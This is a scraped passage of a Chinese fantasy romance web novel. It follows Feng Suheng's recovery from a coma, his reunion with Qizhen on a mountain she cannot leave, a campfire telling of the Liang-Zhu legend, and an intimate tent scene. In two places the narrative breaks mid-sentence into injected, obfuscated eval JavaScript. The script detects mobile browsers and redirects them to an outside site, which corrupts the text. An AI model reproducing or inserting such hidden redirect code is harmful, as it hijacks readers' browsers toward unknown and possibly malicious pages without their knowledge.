重离最后的话,让栖真从背脊生出满满恶寒。 她不按时去见重离,风宿恒会死! 仅剩的理智告诉她,逻辑上这是说得通的。重离能救风宿恒,自然也可以让他死。 栖真在山巅踉跄独行,溺水般难受。 ………… “喂,喂,醒醒。” “……” “醒醒,别留她一个人。” “……一个……” “别忘记自己使命!” “……使命……” “护她周全!” “……你是谁?” “我就是你,别掉链子,给老子起!” 风宿恒迷迷瞪瞪地睁眼,脑里晕得像旋转着两个叠影。 “陛下!陛下终于醒了!” “宿恒!宿恒!” 风宿恒张口,恍恍惚惚看向床边众人,声音嘶哑:“多……久了?” 戦星流道:“四天!你整整昏迷了四天!” 风宿恒瞬间睁大眼睛。 四天? 四天!!! 不知哪来的蛮力,他掀被下床就要往外冲,被戦星流和袁博一把拉住。 袁博:“陛下,不能下床!!” 颜心:“陛下!别别,经不起!” 戦星流:“你不要命了?” 风宿恒浑身乏力,撑住桌子:“四天……她不知我……” 戦星流多少清楚这两人的事,忙问:“栖真不知道你回来吗?” “不……”风宿恒和他说不清,甩开他手:“我得回去。” 戦星流怒了! 他前脚才刚回乾都,又被聂灵鸢御剑叫回来,说陛下出事了! 这四天里吐血的不是风宿恒,是他!是他好吗! 戦星流揪住风宿恒衣襟吼:“别疯了行吗?你们都别疯了可不可以?知道自己什么样了吗?你还有体力回去吗?” 他吼得眼眶都红了:“好不容易活回来,珍惜点行吗?别把命又折腾没了!药王谷的人刚走,说你也就吊着一口气!不好好静养,还要大起大落,你再吐一次血,神仙都救不回来了!” 风宿恒抬头,深呼吸数次,将满腔情绪克制住:“星流,我不折腾,我静养。你御剑送我回大荒流,我见她一下,一下就好。让她知道我没事,我就下山。” “不行!”戦星流放开他衣襟:“我去见栖真,我跟她说!我带她来见你行了吧!” 风宿恒抚着胸口:“不,我去,你不明白……” “不明白什么?”戦星流吼:“不明白你俩情比金坚?不明白你们要死要活?不明白你们一刻都分不开?” 颜心拉住戦星流:“陛下刚醒,世子别激动别激动。” “栖真……下不了山了。” “她为了救我和人交换条件,救活我,她就要一辈子困在山里。” 房中死寂。 戦星流、袁博、颜心………… 听不太懂,但不妨碍他们满脸惊愕,僵立不动。 恍然的寂静中,风宿恒道:“送我回去,现在!” 146. 第 146 章 终于在草甸峰见到栖真时,风宿恒心都纠痛了。 四天! 不过四天,她怎么憔悴成这样了? 走在高山草甸上,形单影只,像随时会倒下去。 栖真抬眼,看了眼浑不知何时出现在身边的风宿恒,像没认出来,木然地走过去。 风宿恒被那一眼卡住喉咙,这几日她经历了什么,竟将自己折磨到灵魂出窍,六亲不认? 把人拉进密林,肢体接触间能觉出栖真浑身绵软,风宿恒靠树而坐,抱她入怀,那晚这般抱是想一亲芳泽,现下是怕她支撑不住。 搂着人,心里是浓到化不开的痛。想他向来无论场合张口就来,这一刻却哑口无言。 一会儿,胸口湿了一片。 栖真知道是风宿恒回来了,她知道。 想跟他道歉,想让他别走。但这刻,失眠让她感官沉在浑水中,跟重离的见面又消耗太多精力,现在她什么都不想说,只想靠着静静哭一会儿。 半阖着眼,无声流泪。 睫毛扑簌便是成窜泪珠,带着滚烫,沾湿衣襟。 风宿恒也在流泪。 他同样没出声,但眼泪控制不住,滴落在她发间。 他很久很久没哭过了。 齐鸾礼那会儿跪下求父皇放过,那时他便知眼泪是世上最无用的东西,不如刀锋刺进大腿的鲜血有用! 前十年殚精竭虑,不把一日掰成三日用不罢休,不将自己逼到极限不合眼,他没哭过。 后十年步步为营,扮奴隶被鞭打、扮奴仆被呼来呵去、扮贵族与人虚与委蛇,甚至在战场上被雷霆阵法穿透肩胛骨,他没哭过。 取得神识,终于进入朝思暮想的国度,为靠近梦中人跨出重要一步,他同样没哭过。 可现在,抱着无声流泪的栖真,他哭了。 心太疼了。 凌迟神识、切割百片的痛他能忍;荆之誓言的利刺戮进心脏的疼他能忍,可现在,他的眼泪像涓流般淌下。 为彼此付出所有才在一起,本该苦尽甘来去享受属于他们的良辰美景;本该四处优游去精心耕作属于他们的每一个晨昏。 可如今,他们被困在荒山上萎靡不振、形容枯槁,无比凄惨地相拥流泪。 怎会如此? 怎么就……有无尽悲伤,不化作泪水都无法消融呢? 风宿恒后脑靠着树干,魂游天外地想。 不,不能这样! 他得给栖真道歉。 是他错,是他把事情搞砸! “……你不想拖累,可我早晚会知道……” “……宿恒,别低估我的智商,也别低估我的承受力……” “……下次再碰到困境,跟我说,我们一起想办法好吗……” 栖真这么想,不会自己做不到。她没想因为拖累他,怕他承受不起而有所隐瞒,因为这事根本不可能瞒多久。 她是想跟他道出真相,想跟他一起想办法的,结果为何只字不提? 因为那一晚他自以为是,说什么“但凡不涉生死,自然事事坦白,事事依你。” 说什么“心意相通便好,事事道尽反而不美。” 说什么“我可以为你赴汤蹈火,你不能为我擦破油皮。一人能担的,何必两人不痛快?” 他到底在说什么狗屁倒灶?! 听到这些话的栖真,还敢说吗? 敢启口跟他倾诉自己的困境吗? 所以那晚她才会沉默;当问起怎生救的,她才会否认;面对求婚,她才会犹豫。而他根本没听懂她话里的意思——她说的是“在山上也可以”。 不是不想嫁,是没法下山嫁。 他笨,他蠢,被急切冲昏头。得知真相后又愤怒不甘,痛心蒙蔽眼,只想那口血不能在她面前喷,所以咬牙咽下,转身逃离。 可身边人无法交心,她与外界的连接只有他一个,而他一去四日音讯全无,像风筝断了线。 她怎么过? 生气、担心、无奈都是正常,只怕夜不能寐、百蚁噬心,被逼到疯。 风宿恒,你自诩为这场相遇准备半生,为何还这么混? 怀里细碎的抽泣越来越弱,他低头,见眼睫不动了。 睡着了吗? 要多疲惫,才会哭到睡着…… 风宿恒紧紧搂住。 睡吧。 我抱着你。 安心睡。 ………… 栖真没睡多久。 心有挂碍,不一会儿就醒来。 醒来时四目相对,她看到风宿恒的眼,离得如此近。 伸手摸上他的脸,再次确认不是梦。 “你回来了。”她从风宿恒身上下来,怕压他腿麻。不像上次因他不回来激动地大骂混蛋,这次她没有半点怨怼,倒像邻里间遇着了,客气地招呼一声。 她不凶不拽,风宿恒反而吞咽数下:“别下去,我得跟你说。” “嗯,你说。”栖真看着他。 “这几日,我不是存心不回来,那日回朝阳城,是因为……因为我身体不适。” 可怜见的,他这辈子没跟人说过“我吐血了”这种话,像顶级强者说不出“我战败了”一样,直白道出“我身体不适”五个字,是他极限了。 栖真紧张起来:“哪里不适?严不严重?” “不严重。”风宿恒有些别扭道:“就是睡了几日。” “是睡了一晚,醒来,再接着睡。”栖真问:“还是四日没醒过?” 风宿恒…… 看着她紧张的眼睛,追根究底的神情,风宿恒心里默念他得改,得改,得改…… “四日没醒过。” “啊!”栖真道:“那你就说昏迷嘛。” 风宿恒…… “为什么会昏迷四日?”栖真追问。 “活过来以后……比较匆忙。你放心,星流请最好的仙宗神医来看过,不严重。” 见栖真眉都皱起来,风宿恒道:“我没事,不是骗你。不会死,没有病,就是累。累是不会死人的。” “谁说累不死人?”栖真道:“你找我马不停蹄,上山也没好好休息。后面养养吧,按时吃饭睡觉,可以吗?” “想喝你的鸡汤。”风宿恒用鼻尖蹭蹭她的。 “我炖。”栖真被蹭得痒,回蹭道:“喝什么都可以。” “你说的,喝……”风宿恒低喃,嘴不安分:“什么都可以?” “嗯,都……”栖真应着:“可以。” 她让他可以,他就真的可以。一炷香后,栖真才惊觉要说的还没说,擦去唇上的湿,道:“对不起!那日是我态度不好,把你气着了,我……” 却被风宿恒打断:“该我说抱歉,既为那日凶你,也为……”气都没喘匀,他喟叹一声:“你说得对,不该有所隐瞒,为对方好也不应该。我们……” 他握住栖真的手,在她手心印上一吻:“风雨同担,生死相随。” ………… 风宿恒偷偷下山,又被等在山脚的戦星流一通骂:“你说上去见一面就回,一面要两个时辰?孩子都朖出来了吧?” “你不行啊!”风宿恒做个嘘的动作,让他喉咙别那么响:“你朖个孩子只用两个时辰?” 戦星流见他满面春风,充满活力,哪像刚从四日昏迷中醒来,真是欣慰到牙痒:“栖真厉害,一面就让陛下活过来。” 袁博道:“东西都带来了,乾坤袋里。可是车在山下,马在山上,怎么假装是陛下运来的呢?” 风宿恒道:“回城雇马车,再把东西运来。我在这儿等你。” 袁博………… 风宿恒:“对了,再带点刺绣物事。” 袁博:“什么物事?” 风宿恒:“女子刺绣的东西。” 等袁博郁闷地走了,风宿恒带戦星流沿山脚步行,将事一一交代。下午接了马车,才装作刚回来,叫人下山搬东西。 山上又像过节似的。 为着阿畅一下山就是五日,劳心劳力弄毡帐,这晚所有人都有了被子盖,有了半新不旧的毡帐睡。 还有两大箱鸡鸭鱼肉和新鲜蔬果、格子灯、一张大方桌、四把椅子、各色布衣。聂灵鸢细心,连菜苗和农具也一并备好。 柳絮回见他带回的绣线和绣箍,哎一声道:“你家小姐不会刺绣,怎想到带这些?” “给你们的。”风宿恒拆着毡帐捆子,道:“想着兴许你们用得着,解解闷。” 柳絮回觉得太巧:“这可不是平常针线,是八色绣线。你怎知我们会绣?” “一看便知!”风宿恒道:“你和阿月右手中指背上皆有厚茧,顶针戴的吧。” 栖真擦着桌子,摆好椅子,回首道:“搞毡帐不眠不休在永嘉道侯了四日,还不歇歇!” 旁人闻言,也忙道:“你面色不好,今儿什么活都别沾手,我们来我们来。” 风宿恒笑道:“我就给我家小姐搭一个,让她睡一会儿。我不在,她晚上都睡不着。” 栖真跺脚,嗔道:“谁睡不着?瞎说!” 絮回道:“你面色也不好,你俩都歇。” 今日不用打猎,众人搭毡帐、理床铺、改善伙食,热火朝天。栖真被风宿恒推去补眠,他自己却睡不着,到处找人聊,不一会儿便将他不在几日情况全数摸清。 柳絮回将栖真提议刺绣赚钱的事跟风宿恒说一遍,问他怎么想。风宿恒微讶:“她说卖一千两?” 柳絮回为难:“你也觉得不可能?” 风宿恒切了一声:“她出的点子,两千两都卖得。” 柳絮回……… 风宿恒道:“不信?试试便知!届时让董未跟我下山,看我怎么卖。” 柳絮回听他这般说,添了几分信心:“你带上山这些个,记个账,获了利还你。” “我一粗人。”风宿恒道:“营赀我在行,记账可不会。账目都报给你,你记。现下这些出项,不算你们利钱。” 柳絮回听他这么说,心下熨帖,第一次觉得若能赚钱,在山上住下去好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13174870|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像也是个不错的选择。 栖真下午扎扎实实补了眠,醒后也不急着起,躺着听外间,纷杂中捕捉到几声风宿恒的声音,自然而然笑出来。 便想起重离的话:“没有瘫痪,没被捆绑,你拥有一座八千公顷的山脉,山上有无数生存物料……你觉得不自由、不高兴,就调整自己的认知和情绪。”栖真确实开始认真想,直到被饭菜香勾了馋虫,出去饱餐一顿。 风宿恒在,篝火夜话时便用不着她动手煮茶。 “给大家讲个故事吧。”栖真喝了口茶,道。 一听有故事,栾乐栾音特别高兴,连说让她快点讲,旁人也停下话头转首捧场。 栖真清了清嗓,娓娓道来:“从前有个祝姓富户,家中有女名英台,至芳龄十六,出落得曼妙动人。祝英台素来不爱女工爱读书,便央爹爹让她去书院进学。可那书院从来将女子拒之门外,只接受男子入学。英台无法,只好带她家小婢,女扮男装混入书院。便在那里,遇见一刻苦书生,名唤梁山伯………” “……祝英台用情至深,得知梁山伯已然不再,便答应那马文才的求亲。在迎亲途中绕至山伯坟茔,下花轿、脱嫁衣,露出丧服,哭拜于碑前。此时暴雨如注,一道惊雷劈开坟头,英台卓然投身坟冢,伴梁兄于地下。” “隔日天朗气清,竟有两只蝴蝶从那坟头飞出,翩跹缠绵,共赴天涯。” 栖真讲完,摇头感慨:“梁祝化蝶,生死相随,大家觉得这故事怎样?” 她觉得自己讲得声情并茂,总能得几分捧场,谁知话落,篝火边一片沉寂。 视线扫过众人,见大家看篝火的看篝火,发呆的发呆,竟无一人开口。再调头看身边的风宿恒,发现他更是神情凝重,看着她的眼神简直悲从中来。 栖真有点尴尬:“大家不喜欢啊?” 终于有人开口。 容绽道:“情深不寿,确实凄婉。这故事叫什么名字?” 栖真道:“就叫梁祝。” 两句话打破沉寂,篝火边又活过来。 “天哪!这什么故事,让人听着想哭。” “梁山伯与祝英台也太惨了。” “后面化蝶一出,真是神来之笔、神来之笔啊!” “没了?这就没了?也太短了吧!” 柳絮回问:“栖真,是你们那儿的故事吗?” 栖真点头:“是我们‘那儿’的。” 柳絮回回味道:“好凄美啊。” 栖真笑出来:“阿絮,你说把这故事绣出来,买不买得到一千两?” 柳絮回眼睛亮了,犹豫道:“绣出来?全数绣出来吗?” 栖真道:“当然不是全数绣,多大工作量!就像那日跟你说的,我们先把故事写出来,让人宣讲出去,然后将里面的重点场景绣出来,我看就绣西窗共读、十八相送、楼台会、哭坟四幕怎样?” “好,好。”柳絮回道:“试试。” 慕容烟月道:“我们一人两幅。” 栖真:“阿月还在月子里,动针线伤眼睛呢。” 慕容:“那我……” “阿月给我配绣线,这样快些。”柳絮回浑身充满干劲,“但是绣前得打个样吧?” “这活儿得三方配合。”栖真笑:“有人写稿,有人丹青,有人刺绣。偏偏这三样,我都不太在行。有谁能写能画吗?” 他们也不明白栖真说的“不在行”什么意思,总不见得不识字吧? 栖真解释道:“我字难看。咱们出个书稿,第一版,字得好看的。” 英迈道:“我写吧。我的字比阿绽差远了,但过得去。” 谁知容绽开口:“我来写。” 大家诧异地看向他,这目不能视的,怎么写? 容绽道:“写书册吗?有规尺,我能写的。阑珊帮一下就行。” 絮回差点喜极而泣,连声道:“就阿绽写吧。” 栖真见容绽自告奋勇,也是欣喜,看了一圈道:“还缺个画的。” 阑珊、阿陶、成校和几个小的于笔墨之道并不精通,尽数摇头。容绽画功卓绝,但丹青到底不比写字能循着规尺一笔一划来,他确实力不从心,便不出声。最后还是董未道:“我试试,过去也曾画些草药医典,不算生疏。” 三方说定,絮回又重新分配接下去几日的分工。帐篷里传出老者数声咳嗽,众人便自洗漱散去。终于有了睡得舒坦的毡帐,谁不想早点享受?董未把煎好的药端给阑珊,阑珊跟着容绽入新帐,想来是给老者喂药去。栖真给慕容打水,进帐给她洗漱。 篝火边一时只剩柳絮回和风宿恒了。 絮回拎着壶,把茶叶渣子倒入帕子:“还能炒个菜。” 风宿恒道:“不用那么省,茶有的是。” “好意得省着点。”柳絮回缴了两圈帕子,滤干水,临走前道:“太久了,大家太久没这种感觉了。” 风宿恒拨了拨火钳子:“能做的事很多,别把自己困起来。” 絮回在火边站了会儿,低头嗯一声,便自去了。 148. 第 148 章 栖真一路跑回山顶毡帐,在篝火边大口喘气。 恨死自己,跑什么呀!老是在风宿恒面前做掉价的事。 儿子都那么大了,没吃过猪肉也看过猪跑,她就该像剧里的熟女,头一抬,色色夸一句:身材真好! 可她做不到。 看到那具鲜活的肉/体——不是通过小黄片,不是通过电视剧——而是看到活生生、有血有肉的、一个男人最本真的身体出现在面前,一种不知从何而来的惊惧油然从心底腾起。 不着寸缕的风宿恒对她来说太陌生! 他们明明到了终身相许的地步,可她居然连他的身体都不敢看。 “真真。” 风宿恒把盛满水的壶放到火边,到她面前问:“跑什么?” 他早已恢复原身,又是那副英俊的好相貌,此刻衣衫齐整,腰带都束得规矩。 栖真强装镇定,挖空心思想这种时候该说什么。 栖真:“额……电视剧里到了这个环节,男主一般会……会……” 风宿恒:“会什么?” 栖真:“会问一句,喜欢你看到的吗?” 话音刚落,栖真更尬了,她的电视剧后遗症还能不能好了? 风宿恒一愣,笑道:“那真真,喜欢你看到的吗?” 栖真………… 风宿恒:“我怎么觉得你不喜欢呢?” 栖真:“没、没不喜欢!” 风宿恒:“那你跑什么?” 栖真脸热地别过头。 “又怕我?”风宿恒轻轻推她,要她进帐子。 栖真:“做、做、做什么?” 风宿恒笑出声:“放心,今晚我什么都不做,别那么紧张。” 栖真这才松口气,脱了鞋钻进毡帐里。 风宿恒也进来,把帷幔遮好。 他俩又困在一个狭小的空间,就像当初马车里。可这毡帐还不如马车,因为天色一暗,帐门一闭,便只有篝火透过幔布往里投些光亮,比马车更暧昧,更撩人心气。 栖真跪在被褥间,指外面道:“你、你的帐子在旁边。” 风宿恒在昏暗中抱住她:“两天了,都没抱一下,真真不想我吗?” 下面营地那么小,一帮人看着,他们根本什么都做不了。 栖真把头埋进风宿恒胸膛,实诚道:“想的。” 风宿恒吻下来,激烈地带着相思的吻,帐里立刻响起纠缠的水声。 她的舌清甜、绵软,以前他进来时它还懵懂,可随着他主导,它越来越乖巧,他怎么亲都予取予求。 嘴都没分开,风宿恒就把栖真压在被褥上,手扣着她后脑勺,亲得像要把人揉进身体里。 他干吗跟她说今晚什么都不做? 他不是圣人,也不是出家人,面对心心念念的心上人,好不容易得来几晚机会,干吗给她那种保证? 不过一个一解相思的吻,他就激动到把持不住。 可怀里的身子在发抖,栖真乖顺,可还是控制不住颤抖。 风宿恒心道,太快了,还是太快了。 终于放开她,他喘着气往旁边躺。 “真真。”等能把句子说完整,风宿恒才开口道:“这几日没机会,可我想听你说,想听你把我们从驼暮山别后,到你最后怎么救的我,从头说一遍。” “好。” 栖真平复一下心绪:“原本也想告诉你。” “你知道吗?”她忽然笑出来:“说是我救的你,契机却是你给的。你是用什么法子把那些字条塞进珠子里去的?” 风宿恒侧首,惊讶道:“你发现了?” 栖真索性翻身匍匐,一手托腮:“是啊,你给我写信、给我地契、给我册子,我在玉茗山庄还睡得着?我睡不着,晚上就拿珠子玩,结果……” 风宿恒静静听,有一些袁博他们说过,更多的只有从栖真这边故事才拼凑完整。 既然要坦诚,栖真索性连遇到雷恒残魂的事也说了。 这一段风宿恒听得特别认真,全部听完后静了良久道:“我是雷恒的前世,而你和他生了小包子?” 栖真特别怕他胡思乱想,忙道:“不是我和雷恒生了小包子!他只是提供精子,我可没和他一起生小包子。” 见风宿恒又沉默,不知在想什么,栖真道:“很多事也太巧合了,但为何这样,我也确实想不明白。” 风宿恒问:“精子是什么东西?” 栖真……… “就是每个男人都有,拿来生宝宝的东西。”栖真就差以手扶额。 也不知风宿恒懂还是不懂,就听他问:“你当初怎会认识雷恒?” 栖真道:“我不认识他,中介给了我很多备选者的照片,我就选了他。” 风宿恒不依不饶:“那么多人,为何选他?” “为什么选他?”栖真:“就是……就是……他比较……比较……” 风宿恒替她说:“比较投眼缘?” 栖真啊嗯半天,实在找不出别的词:“姑且是吧。” “什么姑且。”风宿恒道:“就是!” “是是,就是,我就觉得他投眼缘。”栖真道:“我从城墙上跳下来第一眼看到你,就觉得你的眼睛和他像,不也是投眼缘嘛!” 风宿恒平静地嗯了一声。 栖真也重重点头,嗯了一声。 然后毡帐中没了声音。 栖真猛一下坐起身,“不!我不是那意思!不是说你长得像他,我才……” 风宿恒也坐起来,咄咄逼人:“雷恒投不投你眼缘?” 栖真:“啊……啊……” 风宿恒道:“我和他长得像不像?” 栖真:“嗯……也……” 风宿恒道:“你选雷恒在前,认识我在后,对不对? 栖真:“对……对啊……” 风宿恒:“解释一下。” 栖真:“……” 风宿恒盘腿,抱臂:“解释啊。” 栖真嚅嗫半天,才道:“我要喜欢他,就和他在一起了嘛!可我又没去找过他。” 风宿恒道:“为何不去?” 栖真反问:“你希望我去?” 风宿恒道:“孩子都生了,去找他,在一起不是顺理成章?” 这话出口,帐子里又是一片沉寂。 这次的沉寂比上一次更可怕。 栖真竟无言以对,半天才道出一句:“宿恒,说心里话,你是不是……?” 是不是介意她生过孩子? 古代男子对这种事不是都很介意吗? “不!别说出来!”风宿恒一把抱住她:“适才是我口不择言!我想都没想过,更别提什么狗屁介意!就是一听你说我像他,就……” 见怀里人不出声,风宿恒急了:“真的,真真,相信我!无论你之前有过什么经历,未来会变得如何,我爱的是你,是你这个人!” 栖真在他怀里闷声:“我也一样啊,不是因为你像他,而是因为你这个人。” 风宿恒局促道:“刚那般问,我只是想知道你为何……” 他忽然不知怎么开这个口,重新想了想才道:“你之前说怕人,所以不愿找人生子。真真,那到底是什么感觉?是不能接受别人碰你吗?” 栖真食指在他衣服上扣:“就是害怕身体接触,一想到要和人做那个……就害怕。” 风宿恒道:“你知道那个怎么做?” 栖真点头:“知道啊,看过片片的。” “片片?” “生了小包子后,有几年我也在想这个问题,就是不知自己为何怕。总得找找原因,所以就找了些片片看。片片就是……就是把做那个爱……拍下来给人看。” “你是说,你看过行房?”风宿恒问。 栖真低头:“……嗯。” “谁的?” “天知道谁!网上这种片片很多的,就是一男一女,然后做。” 风宿恒道:“看过后呢?觉得?” 这般刨根问底,栖真汗都要下来了:“觉得、觉得……” 风宿恒道:“怎样?” 栖真心一横,说了实话:“觉得恶心,没法接受。” 风宿恒心里一颤,不由想起她适才在他身下发抖的样子,面上却还平静问:“我亲你,你也觉得恶心吗?” 栖真忙道:“不!没有!我没这么觉得,你别瞎想。” “我亲你,什么感觉?” 栖真别开眼:“别问了好吗!” 风宿恒把她掰回来:“我想知道。” 栖真看他神色认真,只好道:“你很甜,气息很好闻,亲我的时候就大脑一片空白,什么都想不了。可是……..” “可是?” 既然风宿恒如此渴望她的感受,她便如实告诉他:“可是一想到后面,想到你不穿衣服,就像刚刚在水里的样子,我就、就害怕。” “嗯。” 栖真抬眼觑他:“生气啦?” 风宿恒道:“适才是想沐浴,下了水就想看看溪流通向何方,所以顺水探了探。” 栖真问:“怎么不在下面洗热水,溪水多冷啊?” 风宿恒……… 算了,她不懂,他总要教她知道。 凑到栖真耳边低语两句,果不其然,又红上了。 看着面前红成小苹果的脸,风宿恒清嗓:“这条溪通往下面大湖。今日我也再次御剑确认,这边山界上气流横生,御剑飞不到上空。” 栖真这才知道,他在帮她寻找出路。 风宿恒道:“算算日子,那日回来在山巅遇见你,是刚见完重离?” 栖真点头,将那日和重离的对话复述一遍,最后道:“我觉得他特别在意我的幸福值,可他为何在意这个呢?不过那日我忽然有个想法。他一直在说运力问题,就是说他的山洞和洞里的装置目前就在充运力的过程中。我想他说的超氢能一定有某种产生机制。所以,如果我们可以把这种产生能源的机制破坏掉,或许他布下的结界就会消失。” 风宿恒不懂她说的名词,但不妨碍他抓重点:“你觉得是这座山里的什么在提供能量?” 栖真道:“就是不知道啊!” 风宿恒道:“确实得好好探一探这座山脉。” “嗯。” 谈到这个话题气氛未免凝重,两人静一会儿,风宿恒亲了亲栖真头顶:“累吗?” “不累,你呢?” “这两日睡得不错。”风宿恒道:“袁博每日会来送丹药,吃一段时间,等我养好,能回巅峰状态。” 栖真摸摸他的脸:“现在都那么帅,回巅峰还不把人迷死?” 风宿恒受用地笑,问:“今日为何不敢看我?” 风宿恒现在动不动就给她打直球,她实在招架不住啊。 “昨晚,那个……”栖真脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13194638|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热地嘟哝。 “觉得我把你看光,不好意思?” 栖真不吱声了。 “是看光,也没看光。”风宿恒在她耳边道:“不就看个背,不好意思啥?” 栖真捶他。 风宿恒凝视她,动情地叫一声:“真真。” “嗯?” “真真!” “啊?” 风宿恒道:“别怕我好不好。” “没怕啊。” “我是说,别怕我不穿衣服的样子好不好?” 栖真…… 风宿恒极温柔地在她额上印下一吻:“咱们试试。” “试……试什么?” “让你看,我不穿衣服的样子。” 栖真虚弱道:“你说过今晚不做什么的。” “是什么都不做,我保证。”风宿恒低声哄诱:“只是看。” 栖真:“不要看。” 风宿恒认真道:“今晚,我的权柄交给你,你想怎样都可以。” 他解开腰带,绑上眼睛,在脑后打结,然后开始脱衣服。先是外套,再是中衣,上身全脱光,接着脱下面。 栖真被他举动惊呆,惊慌道:“别!” “过来。”风宿恒停手,蒙着眼,裸着上身躺下来:“真真,你看看我。” 帐里没了声音。 风宿恒目不能视,只能靠听,可边上什么动静都没。自他躺下,栖真不知僵着还是怎么,愣没声响。 “真真,在看吗?” 栖真在看,确实在看。 兴许是风宿恒绑住自己眼睛的缘故,让她少了许多压力;兴许他这般献祭似的态度,给了她很多鼓励。 此刻,她确实在看面前这具躯体。 外面全暗了,昏黄的火光在帐中染上暧昧的颜色。 这晕黄照在风宿恒光裸的身体上,他就这么安静地躺在她眼皮底下,任凭火光在他身上窜窜跳跳。 像她此刻的心情。 从没有这般机会,可以给她足够时间,去直视一个男人不着寸缕的躯体。 他要她看,她便故作从容,沉浸式地看。 视线扫过风宿恒修长的脖子,宽厚的肩膀,充满爆发力的肩胛和上臂,肌肉线条分明的小臂;还有他胸膛的轮廓,胸前红点,然后是顺畅的腰线和腹部。 右侧锁骨下有一颗米粒大的痣,可爱到勾魂;胸宽,结实,倒三角。而风宿恒好像也有些紧张,腹部微缩,呼吸间隐隐见到肋骨。肩胛上有陈年旧伤,胸口、手臂上则横亘着数条凸起的肉色疤痕。 以风宿恒山岳般的体格来说,是偏瘦了。 不仅瘦,还伤痕累累,尤其胸口的鞭伤,颜色尤深。 可栖真一点没觉得不好看。 相反,她像考古学家一样,把眼前的人体看了一遍又一遍。忽然有点不懂,自己过去为何那么排斥异性的身体? 风宿恒总说现在的自己不好看。 可他的身高、身形、身材全是她的菜。这具男人味十足、爆发出的力量足可将她撕碎的身体,分明哪儿哪儿都让她着迷。 若风宿恒恢复巅峰状态,那身材会否让她流鼻血? 长久被禁锢的本能在苏醒,如山底跃跃的熔岩,因眼前独一无二的男人喷涌出来。 这么想着,栖真心头滚烫,眼睛不受控制往下瞄。 风宿恒穿着白色亵裤,没了外套和中衣遮盖,有些明显,此刻正脱离原本形状变得不可描述。 栖真惊讶地发现,就这般无声地看,她居然把人看石更了?更让她惊异的是,有点骇人——那是她在任何一部片片里都没见过的尺寸! 帐里安静,风宿恒脑里充斥着惊天动地的幻想和令人羞赧的博大精深。 他可以控制自己不动,控制不了所有地方不动。 原本只是想让栖真看看,差别是脱光给她看还是脱一半给她看,所以即便知道自己正在变得不堪,他仍强捺着。在心上人面前他不要无谓的颜面,说了今晚将权柄交出去,他就是认真的。 他知道真要吃了她,栖真根本抗拒不了。 可他必须让她消除那种不知从何而来的对男人躯体的抗拒,用相对温和的方式,让她先接受他的身体。 可,真地很难熬。 “真真,说句话好吗?”风宿恒手握成拳,软声央求道。 “嗯。” 接着是一声闷哼。 风宿恒一把揭下脸上绑缚,只见栖真紧捂口鼻,有血从指缝间滴落。 风宿恒傻了:“流鼻血?” “嗯。” 连忙让栖真后颈靠在他臂弯里,将头仰起,风宿恒从扔在一边的袖袋里摸出帕子,堵住她鼻。 血止住,栖真却还在晕。 让她晕死算了!她真地一点不想睁眼面对这个男人,她居然看风宿恒的裸体,看到喷鼻血…… OhMyGod! 栖真虚弱的模样让风宿恒着急,止了血赶紧让人平躺下来。 “哪儿不舒服?” 栖真翻身,滚烫的脸埋到被褥里,心如死灰地抗拒:“别理我。” 风宿恒回过味儿来,笑起来,笑地畅快,带着在栖真听来幸灾乐祸的语气,在她耳边低语:“喜欢你看到的是吗?喜欢到流鼻血?” 操! 说好的无法接受呢?说好的清心寡欲呢? 这会不会成为她这辈子最大的污点??? 149. 第 149 章 风宿恒怕再待下去忍不住,被顺势赶回自己毡帐。清早给栖真倒热水洗漱时说:“让你过得这般简陋非我所愿,将来必不会这样。” 栖真搅着布巾,笑道:“宿恒帝王之尊,不也每日粗茶淡饭劳心劳力?不觉得苦吗?” 风宿恒笑得正中下怀:“又不是没过过,打什么紧。真要说,和你在此自给自足,能亲手照料你起居,我是极快乐的。” “我也是!”栖真洗完道:“这样和你待在一起才有种……”低头一哂:“真正拥有你的感觉。” 以前和风宿恒一起洗漱她还有羞赧,如今这男人在她心中早已不是“男朋友”三字所能定义,要远远高于。她乐意和他共享日常,乐意将自己蓬头垢面的样子主动摊开。这种相处除了恋爱中人的小兴奋,还带着背靠背的安心。 风宿恒不喜洗热水,泼了把冷水面,道:“你看,英台和山伯早说透,寻个山清水秀的地方终老,也不至于落个生不同裘死同穴的结局。” 栖真托腮看他洗:“那便没这出凄美的悲剧了。” 风宿恒从布巾中抬头:“真真,跟我说,这故事是不是你照着咱俩编出来的?” 栖真惊讶地啊一声:“当然不是!梁祝我们那儿人人都知道。” 风宿恒这才松口气,用水浇灭篝火余薪:“还以为你想着我们的事现编的。” “跟我们有什么关系?”栖真一面挽发,一面奇怪道。 风宿恒见她熟练得多,可耐不住心痒,仍接手道:“过去看你挽发真让人着急。”说着用木梳理顺,帮她绾个发结。 这双每次结印都让人犯花痴的手此刻触到她头皮,栖真耳后发烫,不由想起万叶飞。 万叶飞的手莹白细长,娇养出来的夺目,也能让人目不转睛。可硬要说,她还是更喜欢风宿恒的手。 他手晒得黑,指腹还带茧,没半点脂粉气。但这双带着命运的沉疴却所向披靡的手就是拥有魔力,贴上就让她颤栗,让她欲迎还拒。 还在耽于肖想,就听风宿恒在身后道:“梁祝书院暗生情愫却互相不明就里,岂不像我们大容时?十八相送屡屡暗示仍未猜出,好比小白和傀人;最后他们落得阴阳两隔,我们不也如此?” 栖真愣怔半天:“那我们现在,算化蝶后比翼双飞?” 